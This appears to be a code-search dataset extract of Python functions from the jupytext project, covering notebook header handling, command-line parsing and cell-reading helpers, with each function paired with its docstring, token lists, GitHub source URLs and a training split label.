def insert_jupytext_info_and_filter_metadata(metadata, ext, text_format): """Update the notebook metadata to include Jupytext information, and filter the notebook metadata according to the default or user filter""" if insert_or_test_version_number(): metadata.setdefault('jupytext', {})['text_represe...
def insert_jupytext_info_and_filter_metadata(metadata, ext, text_format): """Update the notebook metadata to include Jupytext information, and filter the notebook metadata according to the default or user filter""" if insert_or_test_version_number(): metadata.setdefault('jupytext', {})['text_represe...
[ "Update", "the", "notebook", "metadata", "to", "include", "Jupytext", "information", "and", "filter", "the", "notebook", "metadata", "according", "to", "the", "default", "or", "user", "filter" ]
mwouts/jupytext
python
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/header.py#L73-L87
[ "def", "insert_jupytext_info_and_filter_metadata", "(", "metadata", ",", "ext", ",", "text_format", ")", ":", "if", "insert_or_test_version_number", "(", ")", ":", "metadata", ".", "setdefault", "(", "'jupytext'", ",", "{", "}", ")", "[", "'text_representation'", ...
eb7d6aee889f80ad779cfc53441c648f0db9246d
train
metadata_and_cell_to_header
Return the text header corresponding to a notebook, and remove the first cell of the notebook if it contained the header
jupytext/header.py
def metadata_and_cell_to_header(notebook, metadata, text_format, ext): """ Return the text header corresponding to a notebook, and remove the first cell of the notebook if it contained the header """ header = [] lines_to_next_cell = None if notebook.cells: cell = notebook.cells[0] ...
def metadata_and_cell_to_header(notebook, metadata, text_format, ext): """ Return the text header corresponding to a notebook, and remove the first cell of the notebook if it contained the header """ header = [] lines_to_next_cell = None if notebook.cells: cell = notebook.cells[0] ...
[ "Return", "the", "text", "header", "corresponding", "to", "a", "notebook", "and", "remove", "the", "first", "cell", "of", "the", "notebook", "if", "it", "contained", "the", "header" ]
mwouts/jupytext
python
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/header.py#L90-L118
[ "def", "metadata_and_cell_to_header", "(", "notebook", ",", "metadata", ",", "text_format", ",", "ext", ")", ":", "header", "=", "[", "]", "lines_to_next_cell", "=", "None", "if", "notebook", ".", "cells", ":", "cell", "=", "notebook", ".", "cells", "[", "...
eb7d6aee889f80ad779cfc53441c648f0db9246d
train
header_to_metadata_and_cell
Return the metadata, a boolean to indicate if a jupyter section was found, the first cell of notebook if some metadata is found outside of the jupyter section, and next loc in text
jupytext/header.py
def header_to_metadata_and_cell(lines, header_prefix, ext=None): """ Return the metadata, a boolean to indicate if a jupyter section was found, the first cell of notebook if some metadata is found outside of the jupyter section, and next loc in text """ header = [] jupyter = [] injupyter =...
def header_to_metadata_and_cell(lines, header_prefix, ext=None): """ Return the metadata, a boolean to indicate if a jupyter section was found, the first cell of notebook if some metadata is found outside of the jupyter section, and next loc in text """ header = [] jupyter = [] injupyter =...
[ "Return", "the", "metadata", "a", "boolean", "to", "indicate", "if", "a", "jupyter", "section", "was", "found", "the", "first", "cell", "of", "notebook", "if", "some", "metadata", "is", "found", "outside", "of", "the", "jupyter", "section", "and", "next", ...
mwouts/jupytext
python
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/header.py#L121-L201
[ "def", "header_to_metadata_and_cell", "(", "lines", ",", "header_prefix", ",", "ext", "=", "None", ")", ":", "header", "=", "[", "]", "jupyter", "=", "[", "]", "injupyter", "=", "False", "ended", "=", "False", "metadata", "=", "{", "}", "start", "=", "...
eb7d6aee889f80ad779cfc53441c648f0db9246d
train
system
Execute the given bash command
jupytext/cli.py
def system(*args, **kwargs): """Execute the given bash command""" kwargs.setdefault('stdout', subprocess.PIPE) proc = subprocess.Popen(args, **kwargs) out, _ = proc.communicate() if proc.returncode: raise SystemExit(proc.returncode) return out.decode('utf-8')
def system(*args, **kwargs): """Execute the given bash command""" kwargs.setdefault('stdout', subprocess.PIPE) proc = subprocess.Popen(args, **kwargs) out, _ = proc.communicate() if proc.returncode: raise SystemExit(proc.returncode) return out.decode('utf-8')
[ "Execute", "the", "given", "bash", "command" ]
mwouts/jupytext
python
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cli.py#L20-L27
[ "def", "system", "(", "*", "args", ",", "*", "*", "kwargs", ")", ":", "kwargs", ".", "setdefault", "(", "'stdout'", ",", "subprocess", ".", "PIPE", ")", "proc", "=", "subprocess", ".", "Popen", "(", "args", ",", "*", "*", "kwargs", ")", "out", ",",...
eb7d6aee889f80ad779cfc53441c648f0db9246d
train
str2bool
Parse Yes/No/Default string https://stackoverflow.com/questions/15008758/parsing-boolean-values-with-argparse
jupytext/cli.py
def str2bool(value): """Parse Yes/No/Default string https://stackoverflow.com/questions/15008758/parsing-boolean-values-with-argparse""" if value.lower() in ('yes', 'true', 't', 'y', '1'): return True if value.lower() in ('no', 'false', 'f', 'n', '0'): return False if value.lower() i...
def str2bool(value): """Parse Yes/No/Default string https://stackoverflow.com/questions/15008758/parsing-boolean-values-with-argparse""" if value.lower() in ('yes', 'true', 't', 'y', '1'): return True if value.lower() in ('no', 'false', 'f', 'n', '0'): return False if value.lower() i...
[ "Parse", "Yes", "/", "No", "/", "Default", "string", "https", ":", "//", "stackoverflow", ".", "com", "/", "questions", "/", "15008758", "/", "parsing", "-", "boolean", "-", "values", "-", "with", "-", "argparse" ]
mwouts/jupytext
python
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cli.py#L30-L39
[ "def", "str2bool", "(", "value", ")", ":", "if", "value", ".", "lower", "(", ")", "in", "(", "'yes'", ",", "'true'", ",", "'t'", ",", "'y'", ",", "'1'", ")", ":", "return", "True", "if", "value", ".", "lower", "(", ")", "in", "(", "'no'", ",", ...
eb7d6aee889f80ad779cfc53441c648f0db9246d
train
parse_jupytext_args
Command line parser for jupytext
jupytext/cli.py
def parse_jupytext_args(args=None): """Command line parser for jupytext""" parser = argparse.ArgumentParser( description='Jupyter notebooks as markdown documents, Julia, Python or R scripts', formatter_class=argparse.RawTextHelpFormatter) # Input parser.add_argument('notebooks', ...
def parse_jupytext_args(args=None): """Command line parser for jupytext""" parser = argparse.ArgumentParser( description='Jupyter notebooks as markdown documents, Julia, Python or R scripts', formatter_class=argparse.RawTextHelpFormatter) # Input parser.add_argument('notebooks', ...
[ "Command", "line", "parser", "for", "jupytext" ]
mwouts/jupytext
python
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cli.py#L42-L135
[ "def", "parse_jupytext_args", "(", "args", "=", "None", ")", ":", "parser", "=", "argparse", ".", "ArgumentParser", "(", "description", "=", "'Jupyter notebooks as markdown documents, Julia, Python or R scripts'", ",", "formatter_class", "=", "argparse", ".", "RawTextHelp...
eb7d6aee889f80ad779cfc53441c648f0db9246d
train
jupytext_cli
Entry point for the jupytext script
jupytext/cli.py
def jupytext_cli(args=None): """Entry point for the jupytext script""" try: jupytext(args) except (ValueError, TypeError, IOError) as err: sys.stderr.write('[jupytext] Error: ' + str(err) + '\n') exit(1)
def jupytext_cli(args=None): """Entry point for the jupytext script""" try: jupytext(args) except (ValueError, TypeError, IOError) as err: sys.stderr.write('[jupytext] Error: ' + str(err) + '\n') exit(1)
[ "Entry", "point", "for", "the", "jupytext", "script" ]
mwouts/jupytext
python
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cli.py#L138-L144
[ "def", "jupytext_cli", "(", "args", "=", "None", ")", ":", "try", ":", "jupytext", "(", "args", ")", "except", "(", "ValueError", ",", "TypeError", ",", "IOError", ")", "as", "err", ":", "sys", ".", "stderr", ".", "write", "(", "'[jupytext] Error: '", ...
eb7d6aee889f80ad779cfc53441c648f0db9246d
train
jupytext
Internal implementation of Jupytext command line
jupytext/cli.py
def jupytext(args=None): """Internal implementation of Jupytext command line""" args = parse_jupytext_args(args) def log(text): if not args.quiet: sys.stdout.write(text + '\n') if args.version: log(__version__) return 0 if args.pre_commit: if args.noteb...
def jupytext(args=None): """Internal implementation of Jupytext command line""" args = parse_jupytext_args(args) def log(text): if not args.quiet: sys.stdout.write(text + '\n') if args.version: log(__version__) return 0 if args.pre_commit: if args.noteb...
[ "Internal", "implementation", "of", "Jupytext", "command", "line" ]
mwouts/jupytext
python
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cli.py#L147-L332
[ "def", "jupytext", "(", "args", "=", "None", ")", ":", "args", "=", "parse_jupytext_args", "(", "args", ")", "def", "log", "(", "text", ")", ":", "if", "not", "args", ".", "quiet", ":", "sys", ".", "stdout", ".", "write", "(", "text", "+", "'\\n'",...
eb7d6aee889f80ad779cfc53441c648f0db9246d
train
notebooks_in_git_index
Return the list of modified and deleted ipynb files in the git index that match the given format
jupytext/cli.py
def notebooks_in_git_index(fmt): """Return the list of modified and deleted ipynb files in the git index that match the given format""" git_status = system('git', 'status', '--porcelain') re_modified = re.compile(r'^[AM]+\s+(?P<name>.*)', re.MULTILINE) modified_files_in_git_index = re_modified.findall(g...
def notebooks_in_git_index(fmt): """Return the list of modified and deleted ipynb files in the git index that match the given format""" git_status = system('git', 'status', '--porcelain') re_modified = re.compile(r'^[AM]+\s+(?P<name>.*)', re.MULTILINE) modified_files_in_git_index = re_modified.findall(g...
[ "Return", "the", "list", "of", "modified", "and", "deleted", "ipynb", "files", "in", "the", "git", "index", "that", "match", "the", "given", "format" ]
mwouts/jupytext
python
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cli.py#L335-L349
[ "def", "notebooks_in_git_index", "(", "fmt", ")", ":", "git_status", "=", "system", "(", "'git'", ",", "'status'", ",", "'--porcelain'", ")", "re_modified", "=", "re", ".", "compile", "(", "r'^[AM]+\\s+(?P<name>.*)'", ",", "re", ".", "MULTILINE", ")", "modifie...
eb7d6aee889f80ad779cfc53441c648f0db9246d
train
print_paired_paths
Display the paired paths for this notebook
jupytext/cli.py
def print_paired_paths(nb_file, fmt): """Display the paired paths for this notebook""" notebook = readf(nb_file, fmt) formats = notebook.metadata.get('jupytext', {}).get('formats') if formats: for path, _ in paired_paths(nb_file, fmt, formats): if path != nb_file: sys...
def print_paired_paths(nb_file, fmt): """Display the paired paths for this notebook""" notebook = readf(nb_file, fmt) formats = notebook.metadata.get('jupytext', {}).get('formats') if formats: for path, _ in paired_paths(nb_file, fmt, formats): if path != nb_file: sys...
[ "Display", "the", "paired", "paths", "for", "this", "notebook" ]
mwouts/jupytext
python
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cli.py#L352-L359
[ "def", "print_paired_paths", "(", "nb_file", ",", "fmt", ")", ":", "notebook", "=", "readf", "(", "nb_file", ",", "fmt", ")", "formats", "=", "notebook", ".", "metadata", ".", "get", "(", "'jupytext'", ",", "{", "}", ")", ".", "get", "(", "'formats'", ...
eb7d6aee889f80ad779cfc53441c648f0db9246d
train
recursive_update
Update recursively a (nested) dictionary with the content of another. Inspired from https://stackoverflow.com/questions/3232943/update-value-of-a-nested-dictionary-of-varying-depth
jupytext/cli.py
def recursive_update(target, update): """ Update recursively a (nested) dictionary with the content of another. Inspired from https://stackoverflow.com/questions/3232943/update-value-of-a-nested-dictionary-of-varying-depth """ for key in update: value = update[key] if value is None: ...
def recursive_update(target, update): """ Update recursively a (nested) dictionary with the content of another. Inspired from https://stackoverflow.com/questions/3232943/update-value-of-a-nested-dictionary-of-varying-depth """ for key in update: value = update[key] if value is None: ...
[ "Update", "recursively", "a", "(", "nested", ")", "dictionary", "with", "the", "content", "of", "another", ".", "Inspired", "from", "https", ":", "//", "stackoverflow", ".", "com", "/", "questions", "/", "3232943", "/", "update", "-", "value", "-", "of", ...
mwouts/jupytext
python
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cli.py#L362-L374
[ "def", "recursive_update", "(", "target", ",", "update", ")", ":", "for", "key", "in", "update", ":", "value", "=", "update", "[", "key", "]", "if", "value", "is", "None", ":", "del", "target", "[", "key", "]", "elif", "isinstance", "(", "value", ","...
eb7d6aee889f80ad779cfc53441c648f0db9246d
train
set_format_options
Apply the desired format options to the format description fmt
jupytext/cli.py
def set_format_options(fmt, format_options): """Apply the desired format options to the format description fmt""" if not format_options: return for opt in format_options: try: key, value = opt.split('=') except ValueError: raise ValueError("Format options are...
def set_format_options(fmt, format_options): """Apply the desired format options to the format description fmt""" if not format_options: return for opt in format_options: try: key, value = opt.split('=') except ValueError: raise ValueError("Format options are...
[ "Apply", "the", "desired", "format", "options", "to", "the", "format", "description", "fmt" ]
mwouts/jupytext
python
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cli.py#L377-L395
[ "def", "set_format_options", "(", "fmt", ",", "format_options", ")", ":", "if", "not", "format_options", ":", "return", "for", "opt", "in", "format_options", ":", "try", ":", "key", ",", "value", "=", "opt", ".", "split", "(", "'='", ")", "except", "Valu...
eb7d6aee889f80ad779cfc53441c648f0db9246d
train
set_prefix_and_suffix
Add prefix and suffix information from jupytext.formats if format and path matches
jupytext/cli.py
def set_prefix_and_suffix(fmt, notebook, nb_file): """Add prefix and suffix information from jupytext.formats if format and path matches""" for alt_fmt in long_form_multiple_formats(notebook.metadata.get('jupytext', {}).get('formats')): if (alt_fmt['extension'] == fmt['extension'] and fm...
def set_prefix_and_suffix(fmt, notebook, nb_file): """Add prefix and suffix information from jupytext.formats if format and path matches""" for alt_fmt in long_form_multiple_formats(notebook.metadata.get('jupytext', {}).get('formats')): if (alt_fmt['extension'] == fmt['extension'] and fm...
[ "Add", "prefix", "and", "suffix", "information", "from", "jupytext", ".", "formats", "if", "format", "and", "path", "matches" ]
mwouts/jupytext
python
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cli.py#L398-L408
[ "def", "set_prefix_and_suffix", "(", "fmt", ",", "notebook", ",", "nb_file", ")", ":", "for", "alt_fmt", "in", "long_form_multiple_formats", "(", "notebook", ".", "metadata", ".", "get", "(", "'jupytext'", ",", "{", "}", ")", ".", "get", "(", "'formats'", ...
eb7d6aee889f80ad779cfc53441c648f0db9246d
train
load_paired_notebook
Update the notebook with the inputs and outputs of the most recent paired files
jupytext/cli.py
def load_paired_notebook(notebook, fmt, nb_file, log): """Update the notebook with the inputs and outputs of the most recent paired files""" formats = notebook.metadata.get('jupytext', {}).get('formats') if not formats: raise ValueError("'{}' is not a paired notebook".format(nb_file)) max_mtim...
def load_paired_notebook(notebook, fmt, nb_file, log): """Update the notebook with the inputs and outputs of the most recent paired files""" formats = notebook.metadata.get('jupytext', {}).get('formats') if not formats: raise ValueError("'{}' is not a paired notebook".format(nb_file)) max_mtim...
[ "Update", "the", "notebook", "with", "the", "inputs", "and", "outputs", "of", "the", "most", "recent", "paired", "files" ]
mwouts/jupytext
python
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cli.py#L411-L447
[ "def", "load_paired_notebook", "(", "notebook", ",", "fmt", ",", "nb_file", ",", "log", ")", ":", "formats", "=", "notebook", ".", "metadata", ".", "get", "(", "'jupytext'", ",", "{", "}", ")", ".", "get", "(", "'formats'", ")", "if", "not", "formats",...
eb7d6aee889f80ad779cfc53441c648f0db9246d
train
pipe_notebook
Pipe the notebook, in the desired representation, to the given command. Update the notebook with the returned content if desired.
jupytext/cli.py
def pipe_notebook(notebook, command, fmt='py:percent', update=True, preserve_outputs=True): """Pipe the notebook, in the desired representation, to the given command. Update the notebook with the returned content if desired.""" if command in ['black', 'flake8', 'autopep8']: command = command + ' -' ...
def pipe_notebook(notebook, command, fmt='py:percent', update=True, preserve_outputs=True): """Pipe the notebook, in the desired representation, to the given command. Update the notebook with the returned content if desired.""" if command in ['black', 'flake8', 'autopep8']: command = command + ' -' ...
[ "Pipe", "the", "notebook", "in", "the", "desired", "representation", "to", "the", "given", "command", ".", "Update", "the", "notebook", "with", "the", "returned", "content", "if", "desired", "." ]
mwouts/jupytext
python
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cli.py#L450-L483
[ "def", "pipe_notebook", "(", "notebook", ",", "command", ",", "fmt", "=", "'py:percent'", ",", "update", "=", "True", ",", "preserve_outputs", "=", "True", ")", ":", "if", "command", "in", "[", "'black'", ",", "'flake8'", ",", "'autopep8'", "]", ":", "co...
eb7d6aee889f80ad779cfc53441c648f0db9246d
train
uncomment
Remove prefix and space, or only prefix, when possible
jupytext/cell_reader.py
def uncomment(lines, prefix='#'): """Remove prefix and space, or only prefix, when possible""" if not prefix: return lines prefix_and_space = prefix + ' ' length_prefix = len(prefix) length_prefix_and_space = len(prefix_and_space) return [line[length_prefix_and_space:] if line.startswith...
def uncomment(lines, prefix='#'): """Remove prefix and space, or only prefix, when possible""" if not prefix: return lines prefix_and_space = prefix + ' ' length_prefix = len(prefix) length_prefix_and_space = len(prefix_and_space) return [line[length_prefix_and_space:] if line.startswith...
[ "Remove", "prefix", "and", "space", "or", "only", "prefix", "when", "possible" ]
mwouts/jupytext
python
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cell_reader.py#L24-L33
[ "def", "uncomment", "(", "lines", ",", "prefix", "=", "'#'", ")", ":", "if", "not", "prefix", ":", "return", "lines", "prefix_and_space", "=", "prefix", "+", "' '", "length_prefix", "=", "len", "(", "prefix", ")", "length_prefix_and_space", "=", "len", "("...
eb7d6aee889f80ad779cfc53441c648f0db9246d
train
paragraph_is_fully_commented
Is the paragraph fully commented?
jupytext/cell_reader.py
def paragraph_is_fully_commented(lines, comment, main_language): """Is the paragraph fully commented?""" for i, line in enumerate(lines): if line.startswith(comment): if line.startswith((comment + ' %', comment + ' ?', comment + ' !')) and is_magic(line, main_language): retur...
def paragraph_is_fully_commented(lines, comment, main_language): """Is the paragraph fully commented?""" for i, line in enumerate(lines): if line.startswith(comment): if line.startswith((comment + ' %', comment + ' ?', comment + ' !')) and is_magic(line, main_language): retur...
[ "Is", "the", "paragraph", "fully", "commented?" ]
mwouts/jupytext
python
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cell_reader.py#L36-L44
[ "def", "paragraph_is_fully_commented", "(", "lines", ",", "comment", ",", "main_language", ")", ":", "for", "i", ",", "line", "in", "enumerate", "(", "lines", ")", ":", "if", "line", ".", "startswith", "(", "comment", ")", ":", "if", "line", ".", "starts...
eb7d6aee889f80ad779cfc53441c648f0db9246d
train
next_code_is_indented
Is the next unescaped line indented?
jupytext/cell_reader.py
def next_code_is_indented(lines): """Is the next unescaped line indented?""" for line in lines: if _BLANK_LINE.match(line) or _PY_COMMENT.match(line): continue return _PY_INDENTED.match(line) return False
def next_code_is_indented(lines): """Is the next unescaped line indented?""" for line in lines: if _BLANK_LINE.match(line) or _PY_COMMENT.match(line): continue return _PY_INDENTED.match(line) return False
[ "Is", "the", "next", "unescaped", "line", "indented?" ]
mwouts/jupytext
python
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cell_reader.py#L47-L53
[ "def", "next_code_is_indented", "(", "lines", ")", ":", "for", "line", "in", "lines", ":", "if", "_BLANK_LINE", ".", "match", "(", "line", ")", "or", "_PY_COMMENT", ".", "match", "(", "line", ")", ":", "continue", "return", "_PY_INDENTED", ".", "match", ...
eb7d6aee889f80ad779cfc53441c648f0db9246d
train
count_lines_to_next_cell
How many blank lines between end of cell marker and next cell?
jupytext/cell_reader.py
def count_lines_to_next_cell(cell_end_marker, next_cell_start, total, explicit_eoc): """How many blank lines between end of cell marker and next cell?""" if cell_end_marker < total: lines_to_next_cell = next_cell_start - cell_end_marker if explicit_eoc: lines_to_next_cell -= 1 ...
def count_lines_to_next_cell(cell_end_marker, next_cell_start, total, explicit_eoc): """How many blank lines between end of cell marker and next cell?""" if cell_end_marker < total: lines_to_next_cell = next_cell_start - cell_end_marker if explicit_eoc: lines_to_next_cell -= 1 ...
[ "How", "many", "blank", "lines", "between", "end", "of", "cell", "marker", "and", "next", "cell?" ]
mwouts/jupytext
python
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cell_reader.py#L56-L66
[ "def", "count_lines_to_next_cell", "(", "cell_end_marker", ",", "next_cell_start", ",", "total", ",", "explicit_eoc", ")", ":", "if", "cell_end_marker", "<", "total", ":", "lines_to_next_cell", "=", "next_cell_start", "-", "cell_end_marker", "if", "explicit_eoc", ":",...
eb7d6aee889f80ad779cfc53441c648f0db9246d
train
last_two_lines_blank
Are the two last lines blank, and not the third last one?
jupytext/cell_reader.py
def last_two_lines_blank(source): """Are the two last lines blank, and not the third last one?""" if len(source) < 3: return False return not _BLANK_LINE.match(source[-3]) and _BLANK_LINE.match(source[-2]) and _BLANK_LINE.match(source[-1])
def last_two_lines_blank(source): """Are the two last lines blank, and not the third last one?""" if len(source) < 3: return False return not _BLANK_LINE.match(source[-3]) and _BLANK_LINE.match(source[-2]) and _BLANK_LINE.match(source[-1])
[ "Are", "the", "two", "last", "lines", "blank", "and", "not", "the", "third", "last", "one?" ]
mwouts/jupytext
python
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/cell_reader.py#L69-L73
[ "def", "last_two_lines_blank", "(", "source", ")", ":", "if", "len", "(", "source", ")", "<", "3", ":", "return", "False", "return", "not", "_BLANK_LINE", ".", "match", "(", "source", "[", "-", "3", "]", ")", "and", "_BLANK_LINE", ".", "match", "(", ...
eb7d6aee889f80ad779cfc53441c648f0db9246d